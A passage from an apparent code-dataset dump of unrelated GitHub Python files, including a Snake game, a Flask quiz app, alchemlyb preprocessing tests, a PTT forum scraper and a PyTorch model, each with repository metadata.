<n>\")\n","repo_name":"brimcarr/DELTA_branched_alkanes","sub_path":"Char_for_32/bar_characterization_n_32_bonds.py","file_name":"bar_characterization_n_32_bonds.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"30305070369","text":"#!/usr/bin/python3\n\ndef weight_average(my_list=[]):\n \"\"\"returns the weighted average of all integers tuple\"\"\"\n if not my_list:\n return 0\n\n denom = 0\n nm = 0\n\n for tup in my_list:\n nm += tup[0] * tup[1]\n denom += tup[1]\n\n return (nm / denom)\n\n","repo_name":"franklinegit/alx-higher_level_programming","sub_path":"0x04-python-more_data_structures/100-weight_average.py","file_name":"100-weight_average.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"1793900336","text":"import pygame\r\nimport random as rd\r\nfrom pygame.locals import *\r\npygame.init()\r\nFPS = 10\r\nFramePerSec = pygame.time.Clock()\r\npygame.font.init()\r\npygame.display.set_caption(\"SNAKE\")\r\nsurf = pygame.display.set_mode((600, 600))\r\nmyfont = pygame.font.SysFont('Comic Sans MS', 50)\r\nmyfont2 = pygame.font.SysFont('Comic Sans MS', 30)\r\n\r\nclass Snake:\r\n def __init__(self):\r\n self.location = [[0,0],[200,200]]\r\n self.x = 20\r\n self.y = 0\r\n self.step = 20\r\n self.ilo = 2\r\n self.tobreak = 0\r\n self.foodloc = [[rd.randrange(0, 580, 20), rd.randrange(0, 580, 20)]]\r\n\r\n def move(self):\r\n pressed_keys = pygame.key.get_pressed()\r\n if self.location[-1][1] > 0:\r\n if pressed_keys[K_UP]:\r\n self.y = (-1) * self.step\r\n self.x = 0\r\n if self.location[-1][1] < 580:\r\n if pressed_keys[K_DOWN]:\r\n self.y = self.step\r\n self.x = 0\r\n if self.location[-1][0] > 0:\r\n if pressed_keys[K_LEFT]:\r\n self.x = (-1) * self.step\r\n self.y = 0\r\n if self.location[-1][0] < 580:\r\n if pressed_keys[K_RIGHT]:\r\n self.x = self.step\r\n self.y = 0\r\n self.location.append([self.location[-1][0] + self.x, self.location[-1][1] + self.y])\r\n\r\n def limits(self):\r\n if self.location[-1][0] == -20 and self.x == -self.step or self.location[-1][0] == 600 and self.x == self.step:\r\n return 1\r\n if self.location[-1][1] == -20 and self.y == -self.step or self.location[-1][1] == 600 and self.y == self.step:\r\n return 1\r\n if self.location[-1] in self.location[-self.ilo:-1]:\r\n return 1\r\n def food(self):\r\n if self.location[-1] == self.foodloc[0]:\r\n self.foodloc = [[rd.randrange(0, 580, 20), rd.randrange(0, 580, 20)]]\r\n while self.foodloc[0] in self.location[-self.ilo:-1]:\r\n print(\"pentla\")\r\n self.foodloc = [[rd.randrange(0, 580, 20), rd.randrange(0, 580, 20)]]\r\n self.ilo += 1\r\n def reset(self):\r\n self.location = [[0, 0], [200, 200]]\r\n self.x = 20\r\n self.y = 0\r\n self.step = 20\r\n self.ilo = 2\r\n self.tobreak = 0\r\n self.foodloc = [[rd.randrange(0, 580, 20), rd.randrange(0, 580, 20)]]\r\n\r\ngameover = 0\r\nsnake1 = Snake()\r\nwhile True:\r\n while gameover == 0:\r\n surf.fill('Black')\r\n snake1.move()\r\n snake1.food()\r\n if snake1.limits() == 1:\r\n break\r\n pygame.draw.rect(surf, 'BLUE', (snake1.foodloc[0][0], snake1.foodloc[0][1], 20, 20))\r\n for i in range(snake1.ilo):\r\n i += 1\r\n pygame.draw.rect(surf, 'GREEN', (snake1.location[-i][0], snake1.location[-i][1], 20, 20))\r\n pygame.display.update()\r\n FramePerSec.tick(FPS)\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n snake1.reset()\r\n gameover = 1\r\n textsurface = myfont.render('Game over', False, (255, 255, 255))\r\n textsurface2 = myfont2.render('To continue press Enter', False, (255, 255, 255))\r\n textsurface3 = myfont2.render('To exit press ESC', False, (255, 255, 255))\r\n surf.blit(textsurface, (180, 200))\r\n surf.blit(textsurface2, (120, 290))\r\n surf.blit(textsurface3, (120, 350))\r\n ppp = pygame.key.get_pressed()\r\n if ppp[K_RETURN]:\r\n gameover = 0\r\n if ppp[K_ESCAPE]:\r\n break\r\n pygame.display.update()\r\n FramePerSec.tick(FPS)\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n\r\n","repo_name":"BartoszBaszniak/Python","sub_path":"Snake/Snake.py","file_name":"Snake.py","file_ext":"py","file_size_in_byte":3720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"1862132288","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 1 17:33:00 2023\n\n@author: pedro\n\"\"\"\nfrom flask import Flask, render_template, request\nfrom modulos.archivos import leer_archivo, puntaje\napp=Flask(__name__)\n\nRUTA = \"./datos/\"\nARCHIVO = RUTA + \"frases.txt\"\nARCHIVO_USUARIOS = RUTA + \"usuarios.txt\"\npunt=0\nfrases,peliculas=leer_archivo(ARCHIVO)\n\njugadores = {\n\n }\nusuarios=[]\npuntajes=[]\ntry:\n leer_archivo(ARCHIVO)\nexcept FileNotFoundError:\n with open(ARCHIVO,\"w\") as archi:\n pass\n\n@app.route(\"/\", methods=['GET', 'POST'])\ndef raiz():\n global punt\n if request.method == 'POST':\n usuario = request.form['nombre']\n usuarios.append(usuario)\n elif request.method== 'GET':\n if request.form.get('finalizar')==\"true\":\n # print(request.form[\"finalizar\"])\n usuario = request.form['nombre']\n # Escribir los datos del usuario en el archivo \"usuarios.txt\"\n datos_usuario = usuarios + str(punt)\n print(datos_usuario)\n with open(ARCHIVO_USUARIOS, \"a\") as f:\n f.write(datos_usuario + \"\\n\")\n # Redirigir al usuario a la página principal\n return render_template(\"home.html\")\n\n # # Guardar el usuario en un archivo\n # with open(ARCHIVO_USUARIOS, \"a\") as f:\n # f.write(usuario + \"\\n\")\n # return render_template(\"home.html\", usuario=usuario)\n # return render_template(\"home.html\")\n\n\n@app.route(\"/add\", methods=['GET', 'POST'])\ndef agregar():\n global punt\n f, p, ind = puntaje(frases, peliculas)\n\n if request.method == 'POST':\n global index\n opcion = int(request.form['opcion'])\n\n if index == (opcion - 1):\n n = \"opcion correcta\"\n index = ind\n punt += 1 # incrementa el puntaje en 1\n else:\n n = \"opcion incorrecta\"\n index = ind\n \n return render_template(\"add.html\", f=f, variable_opcion=opcion, p=p, n_variable=n, punt_variable=punt,usuarios=usuarios)\n\n elif request.method == 'GET':\n index = ind\n return render_template(\"add.html\", f=f, p=p)\n\n\n\n@app.route(\"/add2\",methods=['GET','POST'])\ndef historial():\n return render_template('add2.html', punt_variable=punt, usuarios=usuarios)\n \n\nif __name__ ==\"__main__\":\n app.run(debug=False)","repo_name":"Pedrobattauz/TP1-ProgramacionAvanzada","sub_path":"TP1e2-ProgramacionAvanzada/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31877969948","text":"import scipy.io\nimport os\nfrom os import listdir\nfrom os.path import join, isfile\nimport csv\nimport cv2\nfrom typing import NamedTuple\n\nclass Image(NamedTuple):\n image: int\n csv_num: int\n\nfile_2 = open('/home/anastasia/Έγγραφα/biometrics/lab1/caltech/caltech_labels.csv')\n\ntype(file_2)\n\ncsvreader = csv.reader(file_2)\n\nheader = []\nheader = next(csvreader)\nheader\n\ntimes = 0\nvalue = header\n\n#i save in the values array the values of the csv file of the images that appear more that 20 times in our file \nrows = []\nvalues = []\nfor row in csvreader:\n rows.append(row)\n if value == row:\n times = times + 1\n else: \n if times >= 20:\n values.append(value)\n times = 1\n value = row\nrows\n\nprint(values)\nprint('\\n')\nfor x in values:\n print(x)\n\nfile = open('/home/anastasia/Έγγραφα/biometrics/lab1/caltech/caltech_labels.csv')\n\ntype(file)\n\ncsvreader = csv.reader(file)\n\nheader = []\nheader = next(csvreader)\nheader\n\npath = '/home/anastasia/Έγγραφα/biometrics/lab1/caltech/'\nrows = []\ni = 0\n\nfor file in listdir('/home/anastasia/Έγγραφα/biometrics/lab1/caltech'):\n print(file)\n filename = os.fsdecode(file)\n if(filename[0] != 'i'):\n continue\n else:\n num = filename[6:10]\n for row2 in csvreader:\n for index in values:\n if index == row2:\n image = path + file\n image = cv2.imread(image)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n #cv2.imshow('Grayscale', gray)\n cv2.waitKey(0) \n \n cv2.destroyAllWindows() \n break \n\nfile_2.close()\n\nmat = scipy.io.loadmat('/home/anastasia/Έγγραφα/biometrics/lab1/caltech/ImageData.mat')\n\ntrain_image = []\ntrain_labels = []\ntest_images = []\ntest_labels = []\n\n\n \n","repo_name":"AnastasiaPsarou/Biometrics","sub_path":"face-recognition/lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71692163671","text":"import sys\ndbg = 1 \nif dbg: sys.stdin = open('in.txt','r')\n\nn = int(input())\na = list(map(int, sys.stdin.readline().split()))\nif dbg: print(a)\ndp = [ -1 for i in range(n)]\ndp[0] = 0\n\nfor i in range(1,n):\n j = 0\n while j < i:\n if dp[j] != -1 and i-j <= a[j]:\n if dbg: print(i,j)\n if dp[i] == -1 or dp[i] > dp[j] + 1:\n dp[i] = dp[j] + 1\n j += 1\n\nprint(dp[n-1])\nif dbg: print(dp)\n","repo_name":"neguri/dojo","sub_path":"boj/11060.py","file_name":"11060.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31275412550","text":"\"\"\"Tests for preprocessing functions.\n\n\"\"\"\nimport logging\n\nimport numpy as np\nimport pytest\nfrom numpy.testing import assert_allclose\n\nimport alchemlyb\nfrom alchemlyb.preprocessing import (\n slicing,\n statistical_inefficiency,\n equilibrium_detection,\n decorrelate_u_nk,\n decorrelate_dhdl,\n u_nk2series,\n dhdl2series,\n)\n\n\ndef _check_data_is_outside_bounds(data, lower, upper):\n \"\"\"\n Helper function to make sure that `data` has entries that are\n below the `lower` bound, and above the `upper` bound.\n This is used by slicing tests to make sure that the data\n provided is appropriate for the tests.\n \"\"\"\n assert any(data.reset_index()[\"time\"] < lower)\n assert any(data.reset_index()[\"time\"] > upper)\n\n\n@pytest.fixture()\ndef dHdl(gmx_benzene_Coulomb_dHdl):\n return gmx_benzene_Coulomb_dHdl[0]\n\n\n@pytest.fixture()\ndef u_nk(gmx_benzene_Coulomb_u_nk):\n return gmx_benzene_Coulomb_u_nk[0]\n\n\n@pytest.fixture()\ndef multi_index_u_nk(gmx_ABFE_complex_n_uk):\n return gmx_ABFE_complex_n_uk[0]\n\n\n@pytest.fixture()\ndef multi_index_dHdl(gmx_ABFE_complex_dHdl):\n return gmx_ABFE_complex_dHdl[0]\n\n\nclass TestSlicing:\n \"\"\"Test slicing functionality.\"\"\"\n\n def slicer(self, *args, **kwargs):\n return slicing(*args, **kwargs)\n\n @pytest.mark.parametrize((\"data\", \"size\"), [(\"dHdl\", 661), (\"u_nk\", 661)])\n def test_basic_slicing(self, data, size, request):\n assert (\n len(\n self.slicer(\n request.getfixturevalue(data), lower=1000, upper=34000, step=5\n )\n )\n == size\n )\n\n def test_unchanged(self, namd_idws):\n # NAMD energy files only have dE for adjacent lambdas, this ensures\n # that the slicer will not drop these rows as they have NaN values.\n # Do the pre-processing as the u_nk are from all lambdas\n groups = namd_idws.groupby(\"fep-lambda\")\n for key, group in groups:\n group = group[~group.index.duplicated(keep=\"first\")]\n df = self.slicer(group, None, None, None)\n assert len(df) == len(group)\n\n @pytest.mark.parametrize(\n (\"dataloader\", \"lower\", \"upper\"),\n [\n (\"dHdl\", 1000, 34000),\n (\"u_nk\", 1000, 34000),\n ],\n )\n def test_data_is_unchanged(self, dataloader, lower, upper, request):\n \"\"\"\n Test that slicing does not change the underlying data\n \"\"\"\n # Load data\n data = request.getfixturevalue(dataloader)\n # Check that the input data is appropriate for the test\n _check_data_is_outside_bounds(data, lower, upper)\n\n # Slice data, and test that we didn't change the input data\n original_length = len(data)\n sliced = self.slicer(data, lower=lower, upper=upper, step=5)\n assert len(data) == original_length\n\n @pytest.mark.parametrize(\n (\"dataloader\", \"lower\", \"upper\"),\n [\n (\"dHdl\", 1000, 34000),\n (\"u_nk\", 1000, 34000),\n ],\n )\n def test_lower_and_upper_bound(self, dataloader, lower, upper, request):\n \"\"\"\n Test that the lower and upper time is respected\n \"\"\"\n # Load data\n data = request.getfixturevalue(dataloader)\n # Check that the input data is appropriate for the test\n _check_data_is_outside_bounds(data, lower, upper)\n\n # Slice data, and test that we don't observe times outside\n # the prescribed range\n sliced = self.slicer(data, lower=lower, upper=upper, step=5)\n assert all(sliced.reset_index()[\"time\"] >= lower)\n assert all(sliced.reset_index()[\"time\"] <= upper)\n\n @pytest.mark.parametrize(\"dataloader\", [\"dHdl\", \"u_nk\"])\n def test_disordered_exception(self, dataloader, request):\n \"\"\"Test that a shuffled DataFrame yields a KeyError.\"\"\"\n data = request.getfixturevalue(dataloader)\n indices = data.index.values\n np.random.shuffle(indices)\n\n df = data.loc[indices]\n\n with pytest.raises(KeyError):\n self.slicer(df, lower=200)\n\n @pytest.mark.parametrize(\n \"dataloader\", [\"gmx_benzene_Coulomb_dHdl\", \"gmx_benzene_Coulomb_u_nk\"]\n )\n def test_duplicated_exception(self, dataloader, request):\n \"\"\"Test that a DataFrame with duplicate times yields a KeyError.\"\"\"\n data = alchemlyb.concat(request.getfixturevalue(dataloader))\n with pytest.raises(KeyError):\n self.slicer(data.sort_index(axis=0), lower=200)\n\n def test_subsample_bounds_and_step(self, multi_index_u_nk):\n \"\"\"Make sure that slicing the series also works\"\"\"\n subsample = statistical_inefficiency(\n multi_index_u_nk, multi_index_u_nk.sum(axis=1), lower=100, upper=400, step=2\n )\n assert len(subsample) == 76\n\n def test_multiindex_duplicated(self, multi_index_u_nk):\n subsample = statistical_inefficiency(\n multi_index_u_nk, multi_index_u_nk.sum(axis=1)\n )\n assert len(subsample) == 501\n\n def test_sort_off(self, multi_index_u_nk):\n unsorted = alchemlyb.concat([multi_index_u_nk[-500:], multi_index_u_nk[:500]])\n with pytest.raises(KeyError):\n statistical_inefficiency(unsorted, unsorted.sum(axis=1), sort=False)\n\n def test_sort_on(self, multi_index_u_nk):\n unsorted = alchemlyb.concat([multi_index_u_nk[-500:], multi_index_u_nk[:500]])\n subsample = statistical_inefficiency(unsorted, unsorted.sum(axis=1), sort=True)\n assert subsample.reset_index(0)[\"time\"].is_monotonic_increasing\n\n def test_sort_on_noseries(self, multi_index_u_nk):\n unsorted = alchemlyb.concat([multi_index_u_nk[-500:], multi_index_u_nk[:500]])\n subsample = statistical_inefficiency(unsorted, None, sort=True)\n assert subsample.reset_index(0)[\"time\"].is_monotonic_increasing\n\n def test_duplication_off(self, multi_index_u_nk):\n duplicated = alchemlyb.concat([multi_index_u_nk, multi_index_u_nk])\n with pytest.raises(KeyError):\n statistical_inefficiency(\n duplicated, duplicated.sum(axis=1), drop_duplicates=False\n )\n\n def test_duplication_on_dataframe(self, multi_index_u_nk):\n duplicated = alchemlyb.concat([multi_index_u_nk, multi_index_u_nk])\n subsample = statistical_inefficiency(\n duplicated, duplicated.sum(axis=1), drop_duplicates=True\n )\n assert len(subsample) < 1000\n\n def test_duplication_on_dataframe_noseries(self, multi_index_u_nk):\n duplicated = alchemlyb.concat([multi_index_u_nk, multi_index_u_nk])\n subsample = statistical_inefficiency(duplicated, None, drop_duplicates=True)\n assert len(subsample) == 1001\n\n def test_duplication_on_series(self, multi_index_u_nk):\n duplicated = alchemlyb.concat([multi_index_u_nk, multi_index_u_nk])\n subsample = statistical_inefficiency(\n duplicated.sum(axis=1), duplicated.sum(axis=1), drop_duplicates=True\n )\n assert len(subsample) < 1000\n\n def test_duplication_on_series_noseries(self, multi_index_u_nk):\n duplicated = alchemlyb.concat([multi_index_u_nk, multi_index_u_nk])\n subsample = statistical_inefficiency(\n duplicated.sum(axis=1), None, drop_duplicates=True\n )\n assert len(subsample) == 1001\n\n\nclass CorrelatedPreprocessors:\n @pytest.mark.parametrize((\"dataloader\", \"size\"), [(\"dHdl\", 4001), (\"u_nk\", 4001)])\n def test_subsampling(self, dataloader, size, request):\n \"\"\"Basic test for execution; resulting size of dataset sensitive to\n machine and depends on algorithm.\n \"\"\"\n data = request.getfixturevalue(dataloader)\n assert len(self.slicer(data, series=data.loc[:, data.columns[0]])) <= size\n\n @pytest.mark.parametrize(\"dataloader\", [\"dHdl\", \"u_nk\"])\n def test_no_series(self, dataloader, request):\n \"\"\"Check that we get the same result as simple slicing with no Series.\"\"\"\n data = request.getfixturevalue(dataloader)\n df_sub = self.slicer(data, lower=200, upper=5000, step=2)\n df_sliced = slicing(data, lower=200, upper=5000, step=2)\n\n assert np.all((df_sub == df_sliced))\n\n\nclass TestStatisticalInefficiency(TestSlicing, CorrelatedPreprocessors):\n def slicer(self, *args, **kwargs):\n return statistical_inefficiency(*args, **kwargs)\n\n @pytest.mark.parametrize(\n (\"conservative\", \"dataloader\", \"size\"),\n [\n (True, \"dHdl\", 2001), # 0.00: g = 1.0559445620585415\n (True, \"u_nk\", 2001), # 'fep': g = 1.0560203916559594\n (False, \"dHdl\", 3789),\n (False, \"u_nk\", 3571),\n ],\n )\n def test_conservative(self, dataloader, size, conservative, request):\n data = request.getfixturevalue(dataloader)\n sliced = self.slicer(\n data, series=data.loc[:, data.columns[0]], conservative=conservative\n )\n # results can vary slightly with different machines\n # so possibly do\n # delta = 10\n # assert size - delta < len(sliced) < size + delta\n assert len(sliced) == size\n\n @pytest.mark.parametrize(\n \"dataloader,end,step\",\n [\n (\"dHdl\", 20, None), # wrong length\n (\"dHdl\", None, -1), # wrong time stamps (reversed)\n ],\n )\n def test_raise_ValueError_for_mismatched_data(self, dataloader, end, step, request):\n data = request.getfixturevalue(dataloader)\n with pytest.raises(ValueError):\n self.slicer(data, series=data[\"fep\"][:end:step])\n\n @pytest.mark.parametrize(\n (\"dataloader\", \"lower\", \"upper\"),\n [\n (\"dHdl\", 1000, 34000),\n (\"u_nk\", 1000, 34000),\n ],\n )\n @pytest.mark.parametrize(\"use_series\", [True, False])\n @pytest.mark.parametrize(\"conservative\", [True, False])\n def test_data_is_unchanged(\n self, dataloader, use_series, lower, upper, conservative, request\n ):\n \"\"\"\n Test that using statistical_inefficiency does not change the underlying data\n\n statistical_inefficiency is equivalent to slicing it its `series` parameter\n is not set. If the `series` parameter is set, additional inefficiency\n calculations are performed. We want to test both behaviors. The behavior\n is toggled using the `use_series` argument.\n \"\"\"\n # Load data\n data = request.getfixturevalue(dataloader)\n # Check that the input data is appropriate for the test\n _check_data_is_outside_bounds(data, lower, upper)\n\n # Define subsampling series if required\n series = data.sum(axis=1) if use_series else None\n\n # Slice data, and test that we didn't change the input data\n original_length = len(data)\n self.slicer(\n data,\n series=series,\n lower=lower,\n upper=upper,\n step=5,\n conservative=conservative,\n )\n assert len(data) == original_length\n\n @pytest.mark.parametrize(\n (\"dataloader\", \"lower\", \"upper\"),\n [\n (\"dHdl\", 1000, 34000),\n (\"u_nk\", 1000, 34000),\n ],\n )\n @pytest.mark.parametrize(\"use_series\", [True, False])\n @pytest.mark.parametrize(\"conservative\", [True, False])\n def test_lower_and_upper_bound_slicer(\n self, dataloader, use_series, lower, upper, conservative, request\n ):\n \"\"\"\n Test that the lower and upper time is respected when using statistical_inefficiency\n\n statistical_inefficiency is equivalent to slicing it its `series` parameter\n is not set. If the `series` parameter is set, additional inefficiency\n calculations are performed. We want to test both behaviors. The behavior\n is toggled using the `use_series` argument.\n \"\"\"\n # Load data\n data = request.getfixturevalue(dataloader)\n # Check that the input data is appropriate for the test\n _check_data_is_outside_bounds(data, lower, upper)\n\n # Define subsampling series if required\n series = data.sum(axis=1) if use_series else None\n\n # Slice data, and test that we don't observe times outside\n # the prescribed range\n sliced = self.slicer(\n data,\n series=series,\n lower=lower,\n upper=upper,\n step=5,\n conservative=conservative,\n )\n assert all(sliced.reset_index()[\"time\"] >= lower)\n assert all(sliced.reset_index()[\"time\"] <= upper)\n\n @pytest.mark.parametrize(\n (\"dataloader\", \"lower\", \"upper\"),\n [\n (\"dHdl\", 1000, 34000),\n (\"u_nk\", 1000, 34000),\n ],\n )\n @pytest.mark.parametrize(\"conservative\", [True, False])\n def test_slicing_inefficiency_equivalence(\n self, dataloader, lower, upper, conservative, request\n ):\n \"\"\"\n Test that first slicing the data frame, then subsampling is equivalent to\n subsampling with lower / upper bounds set\n \"\"\"\n # Load data\n data = request.getfixturevalue(dataloader)\n # Check that the input data is appropriate for the test\n _check_data_is_outside_bounds(data, lower, upper)\n\n # Slice dataframe, then subsample it based on the sum of its components\n sliced_data = slicing(data, lower=lower, upper=upper)\n subsampled_sliced_data = self.slicer(\n sliced_data, series=sliced_data.sum(axis=1), conservative=conservative\n )\n\n # Subsample the dataframe based on the sum of its components while\n # also specifying the slicing range\n subsampled_data = self.slicer(\n data,\n series=data.sum(axis=1),\n lower=lower,\n upper=upper,\n conservative=conservative,\n )\n\n assert (subsampled_sliced_data == subsampled_data).all(axis=None)\n\n\nclass TestEquilibriumDetection(TestSlicing, CorrelatedPreprocessors):\n def slicer(self, *args, **kwargs):\n return equilibrium_detection(*args, **kwargs)\n\n\nclass Test_Units:\n \"\"\"Test the preprocessing module.\"\"\"\n\n def test_slicing(self, u_nk):\n \"\"\"Test if extract_u_nk assign the attr correctly\"\"\"\n new_u_nk = slicing(u_nk)\n assert new_u_nk.attrs[\"temperature\"] == 300\n assert new_u_nk.attrs[\"energy_unit\"] == \"kT\"\n\n def test_statistical_inefficiency(self, dHdl):\n \"\"\"Test if extract_u_nk assign the attr correctly\"\"\"\n new_dhdl = statistical_inefficiency(dHdl)\n assert new_dhdl.attrs[\"temperature\"] == 300\n assert new_dhdl.attrs[\"energy_unit\"] == \"kT\"\n\n def test_equilibrium_detection(self, dHdl):\n \"\"\"Test if extract_u_nk assign the attr correctly\"\"\"\n new_dhdl = equilibrium_detection(dHdl)\n assert new_dhdl.attrs[\"temperature\"] == 300\n assert new_dhdl.attrs[\"energy_unit\"] == \"kT\"\n\n\n@pytest.mark.parametrize((\"method\", \"size\"), [(\"all\", 2001), (\"dE\", 2001)])\ndef test_decorrelate_u_nk_single_l(u_nk, method, size):\n assert (\n len(decorrelate_u_nk(u_nk, method=method, drop_duplicates=True, sort=True))\n == size\n )\n\n\ndef test_decorrelate_u_nk_burnin(u_nk):\n assert (\n len(\n decorrelate_u_nk(\n u_nk,\n method=\"dE\",\n drop_duplicates=True,\n sort=True,\n remove_burnin=True,\n )\n )\n == 2848\n )\n\n\ndef test_decorrelate_dhdl_burnin(dHdl):\n assert (\n len(\n decorrelate_dhdl(\n dHdl,\n drop_duplicates=True,\n sort=True,\n remove_burnin=True,\n )\n )\n == 2848\n )\n\n\n@pytest.mark.parametrize((\"method\", \"size\"), [(\"all\", 501), (\"dE\", 501)])\ndef test_decorrelate_u_nk_multiple_l(multi_index_u_nk, method, size):\n assert (\n len(\n decorrelate_u_nk(\n multi_index_u_nk,\n method=method,\n )\n )\n == size\n )\n\n\ndef test_decorrelate_dhdl_single_l(u_nk):\n assert len(decorrelate_dhdl(u_nk, drop_duplicates=True, sort=True)) == 2001\n\n\ndef test_decorrelate_dhdl_multiple_l(multi_index_dHdl):\n assert (\n len(\n decorrelate_dhdl(\n multi_index_dHdl,\n )\n )\n == 501\n )\n\n\ndef test_raise_non_uk(multi_index_dHdl):\n with pytest.raises(ValueError):\n decorrelate_u_nk(\n multi_index_dHdl,\n )\n\n\nclass TestDhdl2series:\n @pytest.mark.parametrize(\"methodargs\", [{}, {\"method\": \"all\"}])\n def test_dhdl2series(self, dHdl, methodargs):\n series = dhdl2series(dHdl, **methodargs)\n assert len(series) == len(dHdl)\n assert_allclose(series, dHdl.sum(axis=1))\n\n def test_other_method_ValueError(self, dHdl):\n with pytest.raises(\n ValueError, match=\"Only method='all' is supported for dhdl2series().\"\n ):\n dhdl2series(dHdl, method=\"dE\")\n\n\nclass TestU_nk2series:\n @pytest.mark.parametrize(\n \"methodargs,reference\", # reference = sum\n [\n ({}, 7988.667045),\n ({\"method\": \"all\"}, 85982.34668751864),\n ({\"method\": \"dE\"}, 7988.667045),\n ],\n )\n def test_u_nk2series(self, u_nk, methodargs, reference):\n series = u_nk2series(u_nk, **methodargs)\n assert len(series) == len(u_nk)\n assert_allclose(series.sum(), reference)\n\n @pytest.mark.parametrize(\n \"methodargs,reference\", # reference = sum\n [\n ({\"method\": \"dhdl_all\"}, 85982.34668751864),\n ({\"method\": \"dhdl\"}, 7988.667045),\n ],\n )\n def test_u_nk2series_deprecated(self, u_nk, methodargs, reference):\n with pytest.warns(\n DeprecationWarning,\n match=r\"Method 'dhdl.*' has been deprecated, using '.*' instead\\. \"\n r\"'dhdl.*' will be removed in alchemlyb 3\\.0\\.0\\.\",\n ):\n series = u_nk2series(u_nk, **methodargs)\n assert len(series) == len(u_nk)\n assert_allclose(series.sum(), reference)\n\n def test_other_method_ValueError(self, u_nk):\n with pytest.raises(ValueError, match=\"Decorrelation method bogus not found.\"):\n u_nk2series(u_nk, method=\"bogus\")\n\n\nclass TestLogging:\n def test_detect_equilibration(self, caplog, u_nk):\n with caplog.at_level(logging.DEBUG):\n decorrelate_u_nk(u_nk, remove_burnin=True)\n\n assert \"Running equilibration detection.\" in caplog.text\n assert \"Start index:\" in caplog.text\n assert \"Statistical inefficiency:\" in caplog.text\n assert \"Number of uncorrelated samples:\" in caplog.text\n\n def test_statistical_inefficiency(self, caplog, u_nk):\n with caplog.at_level(logging.DEBUG):\n decorrelate_u_nk(u_nk)\n\n assert \"Running statistical inefficiency analysis.\" in caplog.text\n assert \"Statistical inefficiency:\" in caplog.text\n assert \"Number of uncorrelated samples:\" in caplog.text\n","repo_name":"alchemistry/alchemlyb","sub_path":"src/alchemlyb/tests/test_preprocessing.py","file_name":"test_preprocessing.py","file_ext":"py","file_size_in_byte":19051,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"5"} +{"seq_id":"38948820657","text":"import re\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nurl='http://www.ptt.cc/bbs/Gossiping/index.html'\r\npayload={\r\n'from':'/bbs/Gossiping/index.html',\r\n'yes':'yes'\r\n}\r\nS1=requests.session()\r\nS=S1.post('https://www.ptt.cc/ask/over18',verify=False,data=payload)\r\nS=S1.get('https://www.ptt.cc/bbs/Gossiping/index.html',verify=False)\r\nsoup=BeautifulSoup(S.text)\r\nS4=str(soup.select('#action-bar-container > div > div.btn-group.btn-group-paging > a:nth-child(2)'))\r\nprint(S4)\r\nS5=re.findall('index(.*?).html\">',S4,re.S)\r\nS6=int(S5[0]*1)\r\nrePage=3\r\nInPath=str('C:\\py practice\\source')\r\nprint(S6)\r\n\r\nfor k in range (S6,S6-rePage,-1):\r\n print('https://www.ptt.cc/bbs/Gossiping/index'+str(k)+'.html')\r\n S=S1.post('https://www.ptt.cc/ask/over18',verify=False,data=payload)\r\n reS=S1.get('https://www.ptt.cc/bbs/Gossiping/index'+str(k)+'.html',verify=False)\r\n soup2=BeautifulSoup(reS.text)\r\n S3=[]\r\n p=0\r\n p1=1\r\n for i in soup2.select('.r-ent'):\r\n S9=str('#main-container > div.r-list-container.action-bar-margin.bbs-screen > div:nth-child('+str(p1+1)+') > div.title > a')\r\n S10=str('https://www.ptt.cc/'+str(re.findall('href=\"(.*?)\">',str(soup2.select(S9)),re.S))[3:40])\r\n S2=[i.select('.date')[0].text, re.findall(\"\\n(.*?)\\n\",i.select('.title')[0].text,re.S),i.select('.author')[0].text,S10]\r\n S3.append(S2)\r\n fp=open(InPath+'\\\\K2'+'.txt','a',encoding='utf-8-sig')\r\n S7=str(S3[p][:])+\"\\n\"\r\n fp.write(str(S7))\r\n p+=1\r\n p1+=1\r\n fp.close()\r\n\r\nprint(\"結束\")\r\n ","repo_name":"ShiangL/Code-list","sub_path":"web crawler/bts4_Gossip2.py","file_name":"bts4_Gossip2.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26262328548","text":"import torch\nfrom torch import nn\n\ncrit = nn.MSELoss()\n\n\nclass SimpleNet(nn.Module):\n def __init__(self, input_size: int, output_size: int, fixed_length: int):\n super(SimpleNet, self).__init__()\n self.fixed_length = fixed_length\n\n self.relu = nn.ReLU()\n self.pool = nn.MaxPool2d(2, 2)\n\n self.conv1 = nn.Conv2d(1, 6, kernel_size=(5, 5), padding=(1, 1))\n self.conv2 = nn.Conv2d(6, 16, kernel_size=(5, 5), padding=(1, 1))\n self.fc1 = nn.Linear(480, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, output_size)\n\n def forward(self, x):\n x = x[:, :self.fixed_length, :].unsqueeze(1)\n x = self.pool(self.relu(self.conv1(x)))\n x = self.pool(self.relu(self.conv2(x)))\n x = torch.flatten(x, 1) # flatten all dimensions except batch\n x = self.relu(self.fc1(x))\n x = self.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n\nclass LSTMNetwork(nn.Module):\n def __init__(self, input_size: int, hidden_size: int, output_size: int, num_layers: int):\n super(LSTMNetwork, self).__init__()\n\n self.lstm = nn.LSTM(\n input_size=input_size, hidden_size=hidden_size,\n num_layers=num_layers, batch_first=True, dropout=0.6\n 